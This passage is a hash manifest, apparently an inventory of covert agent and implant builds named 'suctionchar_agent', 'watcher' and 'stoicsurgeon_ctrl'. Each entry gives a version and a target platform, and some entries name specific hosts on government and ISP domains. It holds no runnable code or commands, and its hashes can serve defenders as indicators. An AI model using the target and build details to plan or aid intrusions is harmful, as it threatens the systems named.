19 19:04:50 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.7.1_x86-linux-vinifera-mail-npost +062027B76DD8CA757F95356A11200B608AF5C2C7 Thu Mar 22 16:36:18 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.7.5_x86-linux-tilttop-gate.itec +C6343FEE2C0CC03CAE60B33EEA357FA957BFA794 Tue Apr 17 00:38:40 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.1_i386-pc-solaris2.8 +3A2584E2870F0DBEAC1C77F4176C452EDCDB7F40 Tue Apr 17 01:15:03 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.2_i386-pc-solaris2.9 +A9B20F370D825E4CD0AE630C23D2056035B3E771 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.3_x86-linux-redhat-7.3 +A9B20F370D825E4CD0AE630C23D2056035B3E771 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.4_x86-linux-tilttop +56088A5BDEA4265AF65A294F5308689855779E46 Wed Jun 20 18:28:15 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.7_sparc-sun-solaris2.9 +360D8DCFE412242ABCE76166B558F44E35674F56 Thu Jun 21 19:50:30 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.8_sparc-sun-solaris2.8 +B78AEE9CBFE74CCBB2563B6CAB4D5BC6CE18DAFB Thu Jun 14 15:52:56 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.1_x86-linux-tilttop +9623FD182FA8A739958A59B07FB49A7F7DFEBE24 Fri Jun 22 13:10:20 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.4_x86-linux-suse-10.0 +64F9D7E8F53E0B33E8B8AF66F35403E2716AF463 Thu Jul 5 14:55:42 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.6_x86-linux-tilttop +C8329C41258993CC4D0352BE13B85CA11A5E8B18 Fri Jul 6 14:53:48 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.7_x86-linux-fedora3 +2BAE96C0E523CBFCE136F68E551BC4049C25F8EE Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.10_sparc-sun-solaris2.9 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.11_x86-linux-centos-4.7 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.12_x86-linux-asianux-1.0 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.13_x86-linux-slackware-10.1 +2BAE96C0E523CBFCE136F68E551BC4049C25F8EE Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.14_sparc-sun-solaris2.9 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.15_x86-linux-ubuntu-8.04 +9A5C8D8CCC249363741D07A748B865CA4ACD8890 Wed Sep 23 19:57:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.2_sparc-sun-solaris2.8 +2BAE96C0E523CBFCE136F68E551BC4049C25F8EE Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.3_sparc-sun-solaris2.9 +6C99AB455AF21CA6E319BACCAF6D73C5FF23F619 Wed Sep 23 20:07:19 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.4_sparc-sun-solaris2.10 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.5_x86-linux-suse-enterprise-9 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.7_x86-linux-centos-5.3 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.8_x86-linux-debian-4.0 +06744C1443D5C53AB7D36332ED151938FE385721 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.9_x86-linux-centos-5.2 +BA5609DC358C7856A2B35EA0A247597867B7F4E9 Tue Oct 13 17:02:57 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.2.4_x86-linux-fedora9 +CBB5DE69E3E0C77C6ADE592522C57A4AEDCE1AD8 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.3.1_x86-linux-debian-5.0 +CBB5DE69E3E0C77C6ADE592522C57A4AEDCE1AD8 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.3.3_x86-linux-fedora8 +C58EF0D9BA897E7CBA652D9424D1C3CA4F6D18B0 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.4.3_x86-linux-redhat-7.3 +C58EF0D9BA897E7CBA652D9424D1C3CA4F6D18B0 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.4.5_x86-linux-suse-enterprise-9 +4E7D707D8FFA8A8869B903D8898DC2BEEA924EE4 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +4E7D707D8FFA8A8869B903D8898DC2BEEA924EE4 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +B17E7A10B2B31445E9B5826E184B4E8E6E18DA0B Mon Nov 9 23:58:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.8.1_x86-linux-fedora10 +A0A47E2D3930553868011E508C5DD6A5AE4285DB Wed Dec 30 23:01:00 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +6A7BA1643FC178048BB59F8D3C4D7A701470E9A0 Wed Dec 30 23:35:45 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.12_x86-linux-fedora10 +F9B8E87A475D28E05BD9153985505C142826788C Wed Dec 30 23:41:10 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.13_x86-linux-fedora9 +B091A09B5DD92F79A27576A3EF5C5E5DB4679E8C Wed Dec 30 23:46:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.14_x86-linux-fedora8 +301D00500B2F8442A30C0B97A72EBFEDBEAA1CDE Wed Dec 30 23:57:16 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.16_x86-linux-debian-4.0 +23C3F33339A397400523365D09FF0764EFBA269C Thu Dec 31 00:02:37 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.17_x86-linux-debian-5.0 +362774F3E708A77B220D734FEAA81B17A876AC12 Thu Dec 31 00:20:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.19_x86-linux-suse-enterprise-9 +E4F05A3ABE5570628123142870B3250EB435FE39 Fri Jan 8 22:16:55 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.20_x86-linux-asianux-1.0 +6EAA227A710F95EFC301FC48767FF202DE602E5D Fri Jan 8 22:27:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.22_x86-linux-slackware-10.1 +E161504255525DEB5E411EEC69FB7CAC69E452E0 Fri Jan 8 22:38:48 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.23_x86-linux-slackware-11.0 +23324FCA61E0FDCE06F893632977CE09BDF3085D Fri Jan 8 21:30:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.25_x86-linux-suse-10.1 +3D1A1F09F030132F990B73FA3F36FA511A5E8B1D Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.26_x86_64-linux-centos-5.1 +646C4237C701224D7C3D4F9DBB70ED0FD59A9041 Fri Jan 8 21:37:57 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.27_x86-linux-suse-10.2 +3D1A1F09F030132F990B73FA3F36FA511A5E8B1D Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +258CF5B505F62B8A7589851F624F476BC6120362 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.29_x86_64-linux-centos-5.2 +1706071E1C384FBD9512BDBCD9B22AC5F38C2409 Wed Dec 30 22:12:48 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.2_sparc-sun-solaris2.8 +EC6A402AE8E37385D2BBAB917C5FE916F537004E Wed Jan 20 23:08:55 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.30_x86-linux-suse-9.3 +6C2FD700D487C76F5B43C9B77D071E57E01DA687 Wed Dec 30 22:18:10 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.3_sparc-sun-solaris2.9 +08D11CEF06DE438DA8D2ED1020C4A7FB626DC6C9 Wed Dec 30 22:27:08 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.5_x86-linux-centos-4.7 +C7DA6DD8C28EBB3CB24270DA364FA374FE6869A6 Wed Dec 30 22:32:50 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.6_x86-linux-centos-5.2 +7DFD5881DD9ABA6590861C0B9445F19548ACB2B2 Wed Dec 30 22:37:25 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.7_x86-linux-centos-5.3 +258CF5B505F62B8A7589851F624F476BC6120362 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.8_x86_64-linux-centos-5.2 +F5EFDDB8BF19E35BE76C64C46C212717C00AE43F Wed Dec 30 22:48:05 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.9_suctionchar_x86_64_linux_centos_5.3 +E82611C96C00F501BE72D6453E9C22D6ACF9BC84 Thu Feb 25 16:45:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.10_x86-freebsd-5.4 +04811BDAEF3641F1CD67B5C922DD70A7638D2F5D Thu Feb 25 21:37:31 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.12_x86-freebsd-6.1 +37AEB6AD21FCDFF94118749DDB86C757F41EC9DF Mon Mar 1 20:04:32 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.13_x86-freebsd-6.2 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.15_x86-linux-centos-5.4 +6CD4F054D3A96A483F2B6C1040F7BCC0CD35184E Thu Mar 4 14:15:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.16_x86-freebsd-6.0 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.17_x86-linux-straitshooter-ibs-bk +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.18_x86-linux-centos-4.8 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.19_x86-linux-darkthunder-nsp.yemen.net.ye +3312F5365BECF227560A930B5582BFD000F5AA55 Fri Jan 22 19:55:51 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.1_x86-freebsd-5.3 +852E99ACF4D919BA6F7E645CC9EE335223965243 Fri Jan 22 22:56:11 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.2_x86-freebsd-7.1 +484DEE530945E30E0B55BEA8CD0D299FC55ED0C3 Fri Jan 22 23:17:57 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.3_x86-freebsd-7.2 +704166513E54EFFD90F96860E15767365A6AFCCC Wed Jan 27 20:59:35 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.5_x86-freebsd-7.0 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.6_x86-linux-centos-4.8 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.7_x86-linux-slackware-10.2 +6E6A027EB0215A34688988EF301FD704A88D794C Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.8_x86-linux-steelsnob-babar +90A38A7F6A8C7FB63B7AB09AAEAE2896C6393C07 Tue Feb 23 16:44:03 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.9_x86_64-linux-redhat-enterprise-5.0 +9AF36F0D92E86F1489F97CB0322440EBA4980BD8 Wed Mar 3 21:02:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.1_i386-pc-solaris2.10 +0D59CC625AABADB44A6093A4F25B84A34F6138A3 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.2_x86_64-linux-debian-5.0 +0D59CC625AABADB44A6093A4F25B84A34F6138A3 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.3_x86_64-linux-centos-5.0 +0D59CC625AABADB44A6093A4F25B84A34F6138A3 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.4_x86_64-linux-scientific-5.1 +8D08A78434146477555401F1EFA4DD5A5B55C6F3 Sat Mar 13 00:08:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.1_x86-freebsd-5.5 +737E1BD543B1C73E57302FF327EE276D725CF53F Tue Mar 16 21:14:34 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.3_x86_64-linux-suse-10.2 +25E678C7347FB37861BD98B6CFEAF5AC3E6938B8 Wed Mar 17 18:27:30 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.4_x86-linux-redhat-enterprise-5.4 +75A6D2779A9E042392A857A1D86EDF2CDEE28D00 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.10_x86_64-linux-vinifera-ie104 +75A6D2779A9E042392A857A1D86EDF2CDEE28D00 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.11_x86_64-linux-centos-5.4 +2E98F1D00D976E7DFF856FFDCF710B5589B4595E Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.12_x86-linux-redhat-enterprise-5.2 +2E98F1D00D976E7DFF856FFDCF710B5589B4595E Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.13_x86-linux-centos-4.8 +2E98F1D00D976E7DFF856FFDCF710B5589B4595E Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.14_x86-linux-ubuntu-8.04 +2E98F1D00D976E7DFF856FFDCF710B5589B4595E Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.15_x86-linux-centos-3.6 +D6E970FD8D53788A6175C669620A681EFDDD59B6 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.16_x86-linux-redhat-enterprise-4.0 +D6E970FD8D53788A6175C669620A681EFDDD59B6 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.17_x86-linux-centos-3.6 +A8F9A37734A8E59474F1B97C1FA0CA1BFB1031F3 Fri Mar 19 18:41:48 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.1_x86-freebsd-7.1 +0306CACEAC8047964B3DBE78FD6335B635E2F622 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.4_x86_64-linux-redhat-enterprise-5.4 +0C625A373AF4FBE7B61343111B1CFCC12AFC9DA1 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.5_x86-linux-centos-5.4 +0C625A373AF4FBE7B61343111B1CFCC12AFC9DA1 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.6_x86-linux-redhat-8.0 +0306CACEAC8047964B3DBE78FD6335B635E2F622 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.7_x86_64-linux-debian-5.0 +0C625A373AF4FBE7B61343111B1CFCC12AFC9DA1 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.8_x86-linux-debian-5.0 +0306CACEAC8047964B3DBE78FD6335B635E2F622 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.9_x86_64-linux-vinifera-ie103 +958B9E83F425678B1B13A44F8CB52A097C0F9AE8 Fri May 28 18:27:22 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.5.1_sparc-sun-solaris2.7 +086BA25E32349DFA7B2515B3F568A05CF6B3CD08 Wed Jun 16 16:47:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.2_x86_64-linux-suse-enterprise-10.2 +C16B9BFF322EA8151CDEFFB290864E358D3AC05B Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.3_x86-linux-wickedviper +C16B9BFF322EA8151CDEFFB290864E358D3AC05B Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.4_x86-linux-redhat-enterprise-5.2 +16FC1B47A2C13EC7DD5A170209B4B6D4FBB41DEA Fri Jun 25 15:16:36 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.5_x86-linux-redhat-enterprise-5.3 +F0CA3A636A141E6EEB3F5F7F8AEC6A5FE7C6447E Fri Jun 25 18:05:32 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.6_x86-linux-centos-5.2 +C16B9BFF322EA8151CDEFFB290864E358D3AC05B Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.7_x86-linux-redhat-enterprise-5.5 +C16B9BFF322EA8151CDEFFB290864E358D3AC05B Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.8_x86-linux-redhat-enterprise-3.0 +BF7FAB474977695AED0834C5D9B77300C7B67CE3 Fri Jul 2 23:45:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.9_x86_64-linux-centos-5.5 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.10_x86-linux-slackware-10.1 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.11_x86-linux-slackware-10.2 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.12_x86-linux-slackware-11.0 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.13_x86-linux-slackware-12.0 +E60D228CF22CF162EB2C411D42E198B8A1DA737F Tue Jul 20 20:41:27 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.14_x86_64-linux-centos-5.3 +C81E7D8B911D6B3B7C5B8479DC1ACA6C0F022373 Wed Jul 21 19:40:00 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.15_x86-linux-redhat-enterprise-5.0 +97ACEB7EF9E4DE9332DE512C79B756C8E8534267 Thu Jul 22 16:36:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.16_sparc-sun-solaris2.10 +DE255ED304AA1E057D236C3814A1DC885CC1E5E1 Mon Jul 26 11:13:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.17_i386-pc-solaris2.10 +FC3FAD546546C15D17AF243AC1D7AE5DE5E3628F Tue Jul 27 13:11:22 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.18_sparc-sun-solaris2.9 +9EA2CABFA89F59E63D2F313F11799863EBA8A275 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.19_suctionchar_x86_linux_optimusprime_vezarat.dolat.ir +9EA2CABFA89F59E63D2F313F11799863EBA8A275 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.1_x86-linux-ubuntu-8.04 +9EA2CABFA89F59E63D2F313F11799863EBA8A275 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.21_x86-linux-slackware-12.0 +595284A68FCC910BA3A211CA80CCB4EE858F9C4E Tue Aug 24 19:51:12 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.22_x86-linux-centos-5.3 +C0A0B3BA20BD0C9CE54B51861C0C7F2C8A717852 Wed Aug 25 20:42:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.24_sparc-sun-solaris2.8 +9EA2CABFA89F59E63D2F313F11799863EBA8A275 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.26_x86-linux-alt-1.0 +98CB4A0972F3352D62C77A76D37517201A435924 Thu Sep 2 21:50:16 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.27_x86_64-linux-centos-5.5 +9DF8B4E12BCFB1476AD3F52C8CFDC5CD5E2CDE51 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.29_x86-linux-centos-5.4 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.2_x86-linux-centos-5.5 +9DF8B4E12BCFB1476AD3F52C8CFDC5CD5E2CDE51 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.30_x86-linux-centos-5.5 +632F47C5E2F23D9C4D1AE98E435AA7E7B48CF6F7 Fri Sep 17 17:08:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.32_x86_64-linux-redhat-enterprise-5.5 +C0A0B3BA20BD0C9CE54B51861C0C7F2C8A717852 Wed Aug 25 20:42:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.33_sparc-sun-solaris2.8 +DEA3861DD0A97FDCB01D9C12BB42D4681067E34B Mon Sep 27 13:47:04 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.36_x86-linux-acridmini-sg +0E03975C71995821DE8408B29B9AF6CDC4BE43A2 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.38_x86-linux-redhat-enterprise-4.0 +0E03975C71995821DE8408B29B9AF6CDC4BE43A2 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.42_x86-linux-suse-11.0 +43784656031E8A3AD0BEA4D1D3352C0CD3B4189A Tue Oct 5 20:19:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.43_x86_64-linux-suse-enterprise-10.2 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.6_x86-linux-centos-5.4 +9EA2CABFA89F59E63D2F313F11799863EBA8A275 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.7_x86-linux-slackware-13.0 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.8_x86-linux-slackware-9.1 +9ACD74076446CE2A1F858301B9D5604B35BAEF74 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.9_x86-linux-slackware-10.0 +CF54157268F5E59AC5BD71C5DB8E04733AB7C8DE Wed Nov 17 18:03:09 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.10_x86-linux-centos-4.4 +CF54157268F5E59AC5BD71C5DB8E04733AB7C8DE Wed Nov 17 18:03:09 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.11_x86-linux-acridmini-sg +EA995ACE3BDCC1B8103DF88A78B2FA4185835DD0 Wed Oct 6 23:26:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.1_x86-linux-fedora13 +D38512D02D2C8C0B392F8EFC7ADC74702084BE73 Fri Oct 8 16:40:08 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.2_x86_64-linux-centos-5.5 +841E7178DE82503358FCC4D113C0AA0815DDBA35 Wed Oct 13 20:38:59 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.4_x86-linux-debian-4.0 +F6B7A5B8DFE7974F9049A87E25D4A55464FDA47E Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.6_x86-linux-redhat-enterprise-4.0 +59D40AC98755838C5314814AD7FF9F9DC787FE5D Fri Nov 5 05:17:24 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.7_x86-linux-slackware-12.2 +A5206D850D5CE2D095EAFBBF0396D717BF69C410 Wed Nov 10 05:13:01 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.8_x86-linux-acridmini-sg +F216D357E17E66BD739FEDEAD39348AE5F438841 Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.99] watcher.i386-linux_v.2.6.0.1 +81AFA9DC9173D9D91A976788057966F2CC768BAB Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.99] watcher.i386-linux_v.2.6.1.1 +E893005E24EEC2AAEA1451986EF1E608BC684E28 Wed May 20 19:04:07 2009 [PITCHIMPAIR.99] watcher.solaris.sparc_v.2.5.0.1 +32D5CA19FC9E1AFF10A924CED9CE248E09F6DE11 Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.99] watcher.sparc-sun-solaris2.6_v.2.6.0.1 +344312DC1F4E73A535BC24FABE4D9F6F29F7C8F4 Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.99] watcher.sparc-sun-solaris2.6_v.2.6.1.1 +E3BD060527C252F11AB42578293E28768D5288FE Wed May 20 19:04:07 2009 [PITCHIMPAIR.99] watcher.x86.linux_v.2.5.0.1 +3E6DBD339D1EF19E94474078815F3CC914369463 Thu Jan 27 19:04:36 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.17.3_x86-linux-redhat-9.0-optimusprime +A00DDAEE15610AD79DAD942908D4724C8662B843 Tue Jan 18 17:04:26 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.16.2_x86-linux-suse-enterprise-10.1 +3226B66D92D927354BCFA027DF255836CF48F67C Thu Dec 9 22:21:07 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.9_x86-linux-slackware-13.0-switchdown_warkitten +32B40CB0AA1F5D0D29375557F14A3B1A95D5A199 Fri Nov 5 03:45:56 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.9.5_x86-linux-slackware-12.2 +8EC54BA5CE8133E0005655E2AF73A8DD788351CF Wed Nov 10 03:51:09 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.10.2_x86-linux-centos-4.4 +A06657AE6D0662249F503AE78A31FEBB81D1FB33 Tue Feb 15 20:39:09 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.18.2_x86_64-linux-redhat-enterprise-5.5 +9132EF3333428EFB7AEF84F8621969DC4A993B3D Fri Jan 7 23:31:44 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.16.1_x86-linux-ubuntu-8.04 +5C5CE5D7A91003F2EF3D8AA74A9FDDBE99A9C304 Fri Dec 17 18:10:57 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.14.5_x86_64-freebsd-7.2 +765BD479F6B86AE4B339AF76E92855C1330237AA Mon Jan 24 19:51:21 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.17.1_x86-linux-slackware-10.2-vinifera +A51E7793BC286C7831F837CFCFDD95F2B015ACD5 Thu Dec 9 23:19:51 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.10_x86_64-linux-centos-4.8 +4E2B86FE3F1AD87B41121D94C882B0C5E49916A5 Tue Mar 29 15:04:22 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.20.6_x86-linux-slackware-10.0 +03A3E70175889B0EEE507F87DD827BF0835BDC91 Wed Dec 15 15:39:28 2010 [PITCHIMPAIR.07 APR 2011] 